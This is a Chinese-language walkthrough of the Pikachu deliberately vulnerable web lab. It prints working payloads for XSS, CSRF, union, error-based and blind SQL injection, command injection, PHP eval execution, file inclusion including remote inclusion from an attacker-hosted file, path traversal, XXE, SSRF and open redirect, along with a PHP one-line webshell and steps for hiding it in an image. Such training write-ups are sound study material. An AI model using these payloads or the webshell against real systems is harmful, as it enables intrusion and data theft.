pikachu通关笔记

目录

暴力破解

基于表单

验证码绕过

[on server](#on server)

[on client](#on client)

token绕过

XSS攻击

反射型XSS

get

post

存储型XSS

DOM型XSS

DOM型XSS-x

XSS之盲打

XSS之过滤

XSS之htmlspecialchars

XSS之href输出

XSS之js输出

CSRF

CSRF(get)

CSRF(post)

CSRF(token)

SQL注入

数字型注入

字符型注入

搜索型注入

XX型注入

[Insert/Update 注入](#Insert/Update 注入)

delete注入

[http header注入](#http header注入)

盲注

基于布尔的盲注

基于时间的盲注

宽字节注入

RCE

[exec ping](#exec ping)

[exec evel](#exec evel)

[file inclusion](#file inclusion)

local

remote

[unsafe filedownload](#unsafe filedownload)

[file upload](#file upload)

[client check](#client check)

[MIME type](#MIME type)

getimagesize

[over permission](#over permission)

水平越权

垂直越权

目录遍历

敏感信息泄露

PHP反序列化漏洞

XXE

URL重定向

SSRF

curl

file_get_content


注:pikachu右上角点击提示可以得到一些信息。

暴力破解

基于表单

登录界面:

拿字典爆破就行。

验证码绕过

on server
  • 在bp重放错误登录包时验证码不会刷新,只有在页面输入错误时才会报错并刷新验证码。

  • 输入抓包时的验证码,直接爆破

on client
  • 在bp重放登录包时验证码每次都会刷新。

  • 查看源代码可发现验证验证码的代码在前端。任何在前端进行的验证,都是完全没有任何作用的。

  • 在浏览器选择禁用JavaScript,就可绕过前端验证,同上直接爆破

token绕过

服务器为了防止自动化提交表单,在页面里埋了一个隐藏的 HTML 标签: <input type="hidden" name="token" value="xxxxx" />

  • 机制: 每次刷新页面或提交一次请求,服务器都会生成一个新的、随机的 Token 字符串发给浏览器。

  • 校验: 当点击"登录"时,浏览器必须把这个 Token 原封不动地带回去。服务器会比对传回来的 Token 是否和它发出去的那个一致。

  • 初衷: 攻击者无法预知下一个 Token 是什么,因此无法直接用简单的字典进行多线程重放攻击。

  • 逻辑缺陷Token 直接暴露在返回的 HTML 源代码中

  • 攻击:

    • 先请求一次页面,从返回的 HTML 中**抓取(Extract)**当前的 Token。

    • 将这个 Token 放入下一次登录请求的参数中。

    • 重复上述过程(请求 A 获取 Token -> 携带 Token 发起请求 B 进行爆破)。

    • 使用bp的Pitchfork模式一对一(一次密码对一次token)即可,注意最大并发数设为1。

XSS攻击

反射型XSS

get
  • 随便输入几个字符(如222),发现页面回显了包含222的字符串

  • 尝试输入<script>alert("xxs")</script>,发现有字数限制,打开F12手动改了一下,成功输入,执行后发现页面弹出XSS

  • 法二:URL处会有输入参数,在URL处注入也可

post
  • 登录进去后直接注入<script>alert("xxs")</script>,弹出XSS,攻击成功

  • 与get的区别

    • 数据传输方式:GET请求数据通过URL中的查询参数附加在URL后面,以明文形式传输数据;POST请求数据作为请求的正文发送,而不是通过URL传递。(get方式可以用法二,这个就不行)

    • 数据长度限制:GET请求有长度限制,受浏览器和服务器对URL长度的限制;POST请求没有固定的长度限制,适合传输大量数据。(get法一还需手动修改长度限制,post没有长度限制)

存储型XSS

在输入框直接注入<script>alert("xxs")</script>,该评论会存储在页面中,每次刷新都会执行一次弹出'XSS'。

DOM型XSS

页面中输入任意内容

在F12元素中查询,发现输入框里的信息会被传递给a标签的href属性。

  • 法一,既然输入的内容会被传递给href属性,点击后可以访问,那就插入

    javascript:alert("xss"),点击对应标签那里会执行

  • 法二,闭合原有href,之后注入其他属性,' onclick=alert('xss')>

    完整页面代码会变为<a href='' onclick=alert('xss')>'>what do you see?</a>,点击对应标签那里执行

  • 闭合引号时注意观察是单引号还是双引号,因为浏览器会自动规范化 HTML 结构,所以在元素里见的引号不一定是真的。

DOM型XSS-x
  • 这个"X"通常代表基于URL的DOM型XSS,和上边差不多,不过是从URL提取我们输入的内容。

  • 右击检查页面上的链接,发现为

,即点击后会触发domxss()函数。

  • 在元素中搜索可以找到其中的domxss()函数为
复制代码
function domxss(){
    // 1. 从当前页面的URL中获取查询字符串部分,例如 "?text=hello"
    var str = window.location.search; 
    // 2. 将获取到的字符串按 "text=" 分割,并取第二部分(即用户输入的值),同时进行URL解码
    var txss = decodeURIComponent(str.split("text=")[1]); 
    // 3. 将解码后字符串中的 "+" 号替换为空格(这是处理URL编码空格的一种常见方式)
    var xss = txss.replace(/\+/g,' ');
    // 4. 最危险的一步:直接将处理后的用户输入,通过 innerHTML 拼接成一个新的 <a> 标签并写入页面
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
  • 当我们在输入框中输入内容并点击提交后,可以发现所输内容会在当前页面的URL中表现出来。domxss()函数就是将我们输入的内容提取出来并作为新链接(就让往事都随风,都随风吧)的href,支持点击。

  • 之后就和上题一致了。

XSS之盲打

  • 输入框中提交内容后,F12发现在前端找不到提交的内容,注入的<script>alert("xxs")</script>也没有被执行。

  • 事实上这些内容被存储到了后台,当管理员登录后台时恶意脚本会在那里执行。

  • pikachu右上角点击提示会有后台网址)

XSS之过滤

  • 随便输入内容,发现会在网页回显。

  • 注入<script>alert("xxs")</script>,提交后发现回显出来只剩个>了。

  • 尝试大小写混合绕过,成功;

    尝试双写绕过,失败;

    看别的笔记,发现还有注释绕过,<sc<!--test-->ript>alert('xss')</scr <!--test-->ipt>,不过还是失败。

  • 也可以不用<script>,改用别的方法。

  • 注入<a href="" onclick="alert('xss')">,点击蓝色链接即可执行。

  • 或者利用img标签,<img src="x" onerror="alert('xss')">,注入后会直接执行。浏览器 会自动修复HTML结构,会自动在合适位置补全</a>标签。注入后页面代码变为

    复制代码
    <p>别说这些'<a href="" οnclick="alert('xss')">'的话,不要怕,就是干!</a></p>

XSS之htmlspecialchars

  • htmlspecialchars函数的作用是把HTML中的特殊字符转换为HTML实体,让浏览器把它们当作普通文本显示,而不是当作代码执行。
复制代码
< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &#039;
  • <script>alert('xss')</script><img src="x" onerror="alert('xss')">都行不通,<>被转义了,会被当作纯文本。

  • htmlspecialchars() 有一个非常重要的可选参数:flags(标志位)。

    • 默认情况下(ENT_COMPAT): 它只转换双引号,不转换单引号

    • 严格模式(ENT_QUOTES): 才会同时转换双引号和单引号。

    • 可以利用单引号逃逸

  • 注入' onclick='alert("xss")'href属性闭合并添加新属性,代码在服务器拼接后变成:

    <a href='' onclick='alert("xss")' >测试链接</a>,点击链接后就能触发。

  • 注入javascript:alert("xss")也可行,因为href属性本来就应该包含URL,htmlspecialchars不会过滤掉javascript:协议。注意这里的xss用双引号闭合,因为这里的href属性是用单引号闭合的。

XSS之href输出

  • 尝试<script>alert('xss')</script>,没反应。查看源代码为,

    <a href='&lt;script&gt;alert(&#039;xiaomuyu&#039;)&lt;/script&gt;'> 阁下自己输入的url还请自己点一下吧</a>,发现尖括号被编码了。

  • 尝试JavaScript伪协议,javascript:alert('xss'),成功。

  • 尝试闭合href属性,' onclick='alert(1),单双引号都尝试了,闭合失败。查看源代码为,

    <a href='&quot; onclick=&#039;alert(1)'> 阁下自己输入的url还请自己点一下吧</a>

    发现引号被编码了。

XSS之js输出

  • 尝试<script>alert('xiaomuyu')</script>,没反应

  • 查看源代码

    复制代码
    <script>
        $ms='<script>alert('xiaomuyu')</script>';
        if($ms.length != 0){
            if($ms == 'tmac'){
                $('#fromjs').text('tmac确实厉害,看那小眼神..')
            }else {
    //            alert($ms);
                $('#fromjs').text('无论如何不要放弃心中所爱..')
            }
        }
    </script>

    <script>标签闭合问题,得先把前边的闭合.

    闭合标签,</script><script>alert('xss')</script>就ok。

  • 或者闭合引号在这标签内执行任意代码,'; alert('xss'); //

  • js伪协议只能在接受URL的地方使用,不能在JavaScript代码内部使用。

CSRF

CSRF(get)

  • 基本没什么防御

    • 没有校验来源:不检查请求从哪里来

    • 没有CSRF Token:没有一次性令牌验证

    • 直接使用GET:修改操作本应用POST,却用了GET

    • 自动携带Cookie:浏览器会自动带上用户的Cookie

  • 右上方点击提示会有账号密码,登录进去,修改信息,bp抓包

  • 右键该包,用engagement tool生成CSRF的利用,修改其中的信息(要和刚刚修改的不一样方便对比),test in browser生成链接,在浏览器访问,点击提交请求,可以看到账户信息被成功修改为我们的CSRF利用中的信息。

  • 之所以成功,是因为受害者访问这个链接时处于pikachu登录状态,浏览器会自动带上pikachu的cookie,服务器验证cookie后就会执行修改。

CSRF(post)

  • 请求方式不同,不太影响,操作同上。

CSRF(token)

  • token就是防CSRF的,好像过不了。

SQL注入

数字型注入

  • 数字型注入不需要闭合符

  • 随便选一个数字提交,bp抓包,发送到repeater,修改请求参数为id=2 or 1=1#,就可以获得所有用户的id和email,拿密码的过程和更多注入细节和下面字符型一样,这里就不写了

  • 判断是否为数字型可以通过修改参数为字母等方法来判断,判断列数可以通过order byunion select 1,2等来判断

字符型注入

  • 先判断闭合方式,输入aaa',页面报错,说明是单引号闭合,在其后跟注释符就能正常执行,这里易发现#注释符有效

  • 直接注入' or 1=1#,就可以看到所有用户的id和email,之后可以进行如下操作进行细节的判断

  • 判断查询列数,输入aaa' order by 3#页面报错,如下图,说明列数超了

  • 再输入aaa' order by 2#,页面正常显示,如下图,说明共两列

  • 判断显示位,输入' union select 1,2#,页面显示如下图,说明两列都是显示位

  • 可以查询数据库和数据库版本

    ' union select database(),version()#

  • 可以查询当前数据库的所有表

    ' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

  • 接着查询其中users表的所有列(注意该页面原本查询的是member表)

    ' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="users"#

    查询users表的用户和对应密码

    ' union select group_concat(username),group_concat(password) from users# ,得下图

    密码看起来是加密过的,拿去解密即可。

搜索型注入

  • 随便输入半个用户名,如图

    说明SQL查询用的是模糊查询like,%代表一个or多个字符,_代表一个字符,结构类似

    复制代码
    $name = $_GET['name'];
    // 搜索时前后加%,实现模糊匹配
    $sql = "SELECT * FROM users WHERE username LIKE '%$name%'";
  • 注入思路:

    • 先用%和前面的%配对

    • 闭合后面的'

    • 拼接SQL注入语句

    • 注释掉多余的%'

  • 输入%'#,页面显示为,是member表中所有的用户信息

    使用%' union select group_concat(username),group_concat(pw),1 from member#可以查询member表中所有用户密码

    可以输入%' union select username,password,1 from users#查询users表中的用户和密码,结果为

XX型注入

  • XX型注入指的就是闭合方式为 ')的注入类型。

  • 随便输入a',页面报错

    复制代码
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a'')' at line 1

    注意其中的a''),(更外面的两个引号不用管,是报错信息的),a'')中的第一个引号是我们输入的,第二个引号是其查询语句自己的,从这个报错信息就能判断出其闭合方式为')

  • 其余步骤同上

Insert/Update 注入

  • Insert/Update 注入属于功能性注入。与之前的搜索框注入不同,这里的数据是存入数据库的,所以页面不会直接显示查询结果,所以我们要利用的是报错注入,让数据库的报错函数把我们要的数据带出来。

  • 最常用的函数是 updatexml()extractvalue()

  • 在修改个人信息页面随便哪个框里输入1',报错,说明此处存在注入点且闭合方式为单引号。

  • 注入' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ',页面报错信息为XPATH syntax error: '~pikachu~'

    拼接后的SQL查询逻辑大概是insert into member(...) values(' ' or updatexml(...) or ' ', ...)

    注意此处应该用or,第一个条件 '' 是 False,如果用and函数不会再往后执行。

    Select(搜索框) 注入时,如果我们的输入是一个存在的 ID(比如 1),那么可以用and,因为其为true,and还会往后执行。

  • 查询所有表名

    • 在报错注入里,子查询 (select ...) 必须返回单行数据。

    • 一条一条查:

      ' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 1) or ',结果为XPATH syntax error: '~httpinfo'

      ```' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1,1)), 1) or '``,结果为XPATH syntax error: '~member'

      ............

    • 所以更好的方法是利用group_concat把查询结果拼接成一条:

      ' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu')), 1) or ',结果为XPATH syntax error: '~httpinfo,member,message,users,x'

  • 查字段名

    ' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users')), 1) or '

  • 查具体数据

    ' or updatexml(1, concat(0x7e, (select group_concat(password) from users limit 0,1)), 1) or '

delete注入

  • 同上用报错注入

  • 抓包发现包里带了id参数,以此来删除对应留言

  • 在浏览器URL里添加参数id为-1 or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())), 1),结果:XPATH syntax error: '~httpinfo,member,message,users,x'

http header注入

  • 右上角提示拿到账号密码,登进去发现页面显示了我们的IP地址,user agent等请求头中的数据

  • 后台大概逻辑:INSERT INTO http_header (user_agent, ip_address, ...) VALUES ('$user_agent', '$ip', ...);

    我们可以在bp请求包里,直接修改对应的 Header 字段。

    将user agent修改为' or updatexml(1, concat(0x7e, database()), 1) or ',可在相应包里查看结果

  • 其余步骤大致同上,只不过注入位置在请求头里

盲注

基于布尔的盲注

  • 不会回显我们查询的信息,但注入为真和注入为假显示的页面不同

  • 以判断数据库名为例

    输入kobe' and length(database())>5#,正常显示,说明数据库长度确实大于5

    输入kobe' and ascii(substr(database(),§1§,1))=§100§#,判断数据库名的每个字符是什么,可以利用bp的爆破来试出所有。

  • 判断表明,字段名,密码字段等都跟数据库名的方式差不多,

    第一个表名的第一个字符:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100#

    ............

基于时间的盲注

  • 不论注入是真是假,回显页面都相同,无法判断,所以利用sleep()函数

  • kobe' and if(ascii(substr(database(),1,1))=100, sleep(5), 1)#,如果正确,五秒后再返回响应页面,如果错误,正常返回页面。

  • 操作方法类似布尔盲注,利用bp爆破(在 Intruder 的结果界面,点击顶栏的 Columns(列选择),勾选 Response received)

宽字节注入

  • 有时攻击者注入的单引号等会被转义,可利用宽字节突破。

  • 宽字节注入是针对使用GBK编码 的MySQL数据库的一种注入技巧。核心是利用MySQL的GBK编码特性,吃掉转义符\

    示例:

    复制代码
    输入:1%df'
    %df和反斜杠\(%5c)组合成一个汉字“運”
    %df%5c 在GBK中是一个汉字
    ​
    过程:
    1. 输入:1%df'
    2. addslashes:1%df\'(%df加上%5c变成汉字)
    3. 单引号逃出来了!
    最终SQL:WHERE id = '1運''
  • 注入过程同字符型注入,只要在单引号前加上%df就ok

RCE

exec ping

  • 这一关模拟了一个在线网络测试工具。输入一个 IP 地址,后台会调用系统的 ping 命令。

  • 使用命令拼接注入

  • 常见连接符

    连接符 作用 适用平台
    & 前后命令都执行(无论前面是否成功) Windows / Linux
    && 前面成功,才执行后面 Windows / Linux
    **` `** 只执行后面(前面的输出作为后面的输入)
    **` `**
    ; 顺序执行前后命令 仅 Linux
  • 注入127.0.0.1 | dir可查看目录

exec evel

  • 远程 PHP 代码执行
  • 它不是在调用系统命令,而是把输入的内容当作 PHP 代码 来执行。

  • 后台使用了 eval(),eval 会把括号内的字符串当成 PHP 代码解析,可输入合法的 PHP 语句实现攻击

  • 查看服务器配置详情: phpinfo();

    查看当前目录文件: print_r(scandir('.'));

    执行系统命令: 利用 PHP 代码去调用系统函数: system('whoami');

file inclusion

local

  • 本地文件包含 (LFI) 指的是只能包含服务器本地已经存在的文件。

  • 选一个选项提交,发现URL页面通过 filename 参数切换不同的文案。

  • 利用 ../不断向上跳转,去访问系统敏感文件。

    • Windows 环境(常用): 读取 hosts 文件,

      ?filename=../../../../../../../../windows/system32/drivers/etc/hosts

    • Linux 环境(常用): 读取密码文件,?filename=../../../../../../../../etc/passwd

remote

  • 远程文件包含 (RFI) 允许攻击者包含远程服务器上的文件。

  • 前置条件,RFI 的触发需要 PHP 配置文件 php.ini 中开启以下两个选项:

    • allow_url_fopen = On

    • allow_url_include = On(默认通常是 Off,所以 RFI 比 LFI 少见)

  • 比如访问百度

  • 或者可以自己在公网服务器(或者本地开启一个 HTTP 服务)准备一个文本文件 test.txt,内容为: <?php phpinfo(); ?>

    然后在 Pikachu 中输入: ?filename=http://我们的服务器IP/test.txt

    Pikachu 服务器会去下载这个 test.txt,并在它自己的服务器上执行其中的 PHP 代码。

unsafe filedownload

  • 不安全的文件下载 / 任意文件下载

  • 后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

    后台代码逻辑大致为

    复制代码
    $filename = $_GET['filename'];
    $filepath = "download/" . $filename; // 拼接路径
    ​
    // 直接读取文件并发送给浏览器
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=" . $filename);
    readfile($filepath);
  • 可以利用目录穿越 ../改变 $filepath 的指向。

  • 题目显示点击球员名字可下载,则右键复制链接拿到下载路径,再改变后面的参数。http://192.168.137.132/pikachu/vul/unsafedownload/execdownload.php?filename=ai.png

    http://192.168.137.132/pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php,下载成功。

file upload

client check

  • 一句话木马<?php @eval($_POST['shell']); ?>

    让服务器接收通过 POST 方式发送过来的名为 shell 的数据,并将其内容作为php代码来执行。

    @:这是错误抑制符。即使执行出错,也不要在页面上显示报错信息,防止被管理员发现。

  • 中国蚁剑是一个专业的图形化 Webshell 管理工具,作为攻击者的客户端。

    它能把复杂的 PHP 指令封装成简单的图形操作。比如点击"文件管理",它就会自动发送一段"列出当前目录文件"的 PHP 代码给那个木马。

  • 提交PHP文件发现上传失败,显示只允许上传图片,查看可知该检查发生在前端,在开发者工具设置里禁用 JS 就能上传成功了

MIME type

  • MIME 是设定某种扩展名的文件用一种应用程序来打开的方式。当上传文件时,浏览器会在 HTTP 请求头的 Content-Type 字段中自动标注这个文件的类型。

    • 如果上传 .jpg,浏览器会标注:Content-Type: image/jpeg
    • 如果上传 .php,浏览器会标注:Content-Type: application/octet-stream(或者是 application/x-php
  • 漏洞点:后端 PHP 代码通过检查这个 Content-Type 字段来判断你上传的是不是图片,而不是检查文件的实际内容或后缀。

  • 上传PHP文件,bp拦截该请求,手动修改Content-Typeimage/png(或者 image/jpeg
  • 常见 MIME 类型对照表

    文件后缀 对应的 MIME 类型
    .jpg / .jpeg image/jpeg
    .png image/png
    .gif image/gif
    .pdf application/pdf

getimagesize

  • getimagesize() 是 PHP 的一个内置函数,它的本意是用来获取图像的大小、宽度等信息。

    当这个函数处理一个文件时,如果它发现文件开头的一段字节(文件头/魔数)不符合图片的特征(比如 JPG 必须以 FF D8 开头),它就会返回 false,后台代码据此拒绝上传。

    普通的 PHP 木马开头是 <?php,这在 getimagesize() 眼里显然不是图片。

  • 绕过思路:制作"图片马",做一个既有图片特征、又包含木马代码的文件。

    • 法一:新建一个 PHP 文件(如 shell.php),在代码的最前面手动输入:GIF89a(GIF 文件的头部标识)。

    • 法二:准备一张真的图片,把木马隐藏在图片的二进制数据后面。在cmd中运行copy a.jpg /b + muma.php /a result.jpg。(/b 表示二进制模式,/a 表示 ASCII 模式)

  • 上传成功后,配合之前的文件包含漏洞,让其中的PHP代码执行,再用蚁剑连接。

    http://192.168.137.132/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2026/03/13/28104869b401bed4d30400573591.png&submit=%E6%8F%90%E4%BA%A4

over permission

水平越权

  • 权限等级相同,但身份不同。

  • 右上角提示有账号密码,登录lucy账号进去,点击"查看个人信息",发现 URL 变成了: op1_hor.php?username=lucy&submit=点击查看

    实施越权: 在 URL 里直接把 username=lucy 改成 username=lili 并回车。

    结果:以 lucy 的身份登录的,却看到了 lili 的手机号、邮箱等私密信息。

垂直越权

  • 权限等级不同。

  • 提示说有admin和普通用户两种,登录进去观察,前者界面有用户管理操作,后者没有。

    进入admin的添加用户界面,URL为http://192.168.137.132/pikachu/vul/overpermission/op2/op2_admin_edit.php

    随后退出登录登进普通用户,访问该URL,发现也能进入添加用户界面,并且能添加成功。

目录遍历

  • 程序在处理文件路径时,没有过滤 ../ 等特殊字符,使攻击者可以跳出 Web 根目录,去窥探服务器的其他文件夹。

敏感信息泄露

  • 开发者在生产环境中遗留了测试信息或配置调试信息。

    • 代码注释中: 开发者在 HTML/JS 源码里留下了账号密码或内部接口地址。
    • 错误页面中: 报错信息暴露了服务器的绝对路径、数据库版本或字段名。
    • 备份文件中: 像 .git.svn.swpweb.config.bak 这种文件被直接放在 Web 目录下。
    • 测试页面: 比如 phpinfo.phptest.html
  • 右键查看页面源代码,能看到注释中泄露了账号密码

PHP反序列化漏洞

  • 常见魔术方法

    魔术方法 触发时机 攻击意义
    __construct() 对象创建时触发 反序列化时不会触发
    __destruct() 对象销毁时触发 极重要,反序列化结束时自动执行
    __wakeup() 反序列化瞬间触发 常用于准备资源或初始化
    __toString() 对象被当成字符串使用时触发 配合 echo 等函数触发
    __sleep() 在对象在被序列化之前运行
  • 本题中,

    复制代码
    class S {
        var $test = "pikachu";
        function __destruct(){
            echo $this->test; // 漏洞点:对象销毁时会打印 $test
        }
    }

    构造payload,可以用脚本生成一个

    复制代码
    <?php
    class S {
        var $test = "<script>alert('xss')</script>"; // 构造一个简单的 XSS 弹窗
    }
    ​
    $a = new S();
    echo serialize($a); 
    // 输出结果可能是:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
    ?>

    将生成的序列化字符串 O:1:"S":1:{s:4:"test";s:29:"alert('xss')";}提交到输入框中,因为服务器执行了 unserialize(),创建了对象,脚本结束时触发了 __destruct(),把我们的 XSS 代码打印到了页面上。

XXE

  • 利用了 XML 解析器在处理输入时的缺陷,让服务器去读取它本不该读取的文件,甚至攻击内网的其他机器。

  • XML 允许定义一个"快捷方式",这就是实体。

    • 内部实体

      复制代码
      <!ENTITY name "pikachu">
      <user>&name;</user> ```
    • 外部实体(漏洞点):允许 XML 从外部资源(文件、URL)获取数据。

      复制代码
      <!ENTITY test SYSTEM "file:///c:/windows/win.ini">
      <user>&test;</user> ```

      XXE 漏洞产生原因: 后端程序开启了"解析外部实体"的功能,且直接解析了用户提交的 XML 数据。

  • 构造payload,读取敏感数据

    复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE xxe [
      <!ENTITY test SYSTEM "file:///c:/windows/win.ini">
    ]>
    <user>&test;</user>

URL重定向

  • 服务器接收用户提交的一个链接,并在没有经过严格白名单校验的情况下,直接指挥用户的浏览器跳转到那个链接。

  • 在本题中,点击最后一句话发现出现了参数url=i,修改这个参数到任意地址(比如百度),发现跳转成功。

  • 一些绕过过滤的技巧:

    • 斜杠绕过: url=//www.baidu.com(部分解析器会将其识别为当前协议下的外部链接)。
    • 利用 @ 符号: url=http://www.google.com@www.baidu.com(浏览器有时会忽略 @ 前的内容,直接跳转到后面)。
    • 点号绕过: url=http://www.baidu.com.(末尾加点,在某些 DNS 解析中依然有效)。

SSRF

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

简单说就是攻击者不能直接访问内网,但可以命令服务器去替攻击者访问。

服务器就像一个被控制的"代理人",它可以绕过防火墙,探测攻击者本来接触不到的内网资源。

curl

  • 可以修改 url 参数,探测服务器本地或其他内网机器的端口。

  • 也可以利用 file 协议读取文件:?url=file:///c:/windows/system32/drivers/etc/hosts,服务器会把本地文件内容抓取并显示在网页上。

file_get_content

  • 所用PHP函数是file_get_contents(),但漏洞逻辑是一样的,这个函数同样支持多种协议。

  • 可以用 PHP 伪协议把源码 Base64 编码后抓出来: ?url=php://filter/read=convert.base64-encode/resource=ssrf.php

相关推荐
研究点啥好呢2 小时前
3月13日GitHub热门项目推荐 | AI代理的安全思考
人工智能·安全·网络安全·ai·github·openclaw
智者知已应修善业2 小时前
【无序数组指针交换2则】2024-10-28
c语言·数据结构·c++·经验分享·笔记·算法
酱紫学Java2 小时前
AI 提示词注入 (Prompt Injection)
网络·人工智能·安全
Wcbddd2 小时前
OpenClaw+思源笔记=自动撰写渗透报告的牛马
笔记
2601_949221032 小时前
2026年世界青光眼周——青岛华厦眼科微创技术助力光明守护,为青光眼患者带来新希望
安全
数图模方2 小时前
大屏设计笔记 | 核心指标体系3(数据分析层)
笔记·物联网·产品经理·3d可视化·大屏端
智能工业品检测-奇妙智能2 小时前
化工行业安全体系管理平台如何助力企业实现安全生产标准化
服务器·人工智能·安全·openclaw·奇妙智能
上海云盾-小余2 小时前
2026 威胁态势全景:从 DDoS 到 CC 攻击,企业安全防护全攻略
安全·ddos
A923A2 小时前
【Vue3大事件 | 项目笔记】第一天
前端·vue.js·笔记·前端框架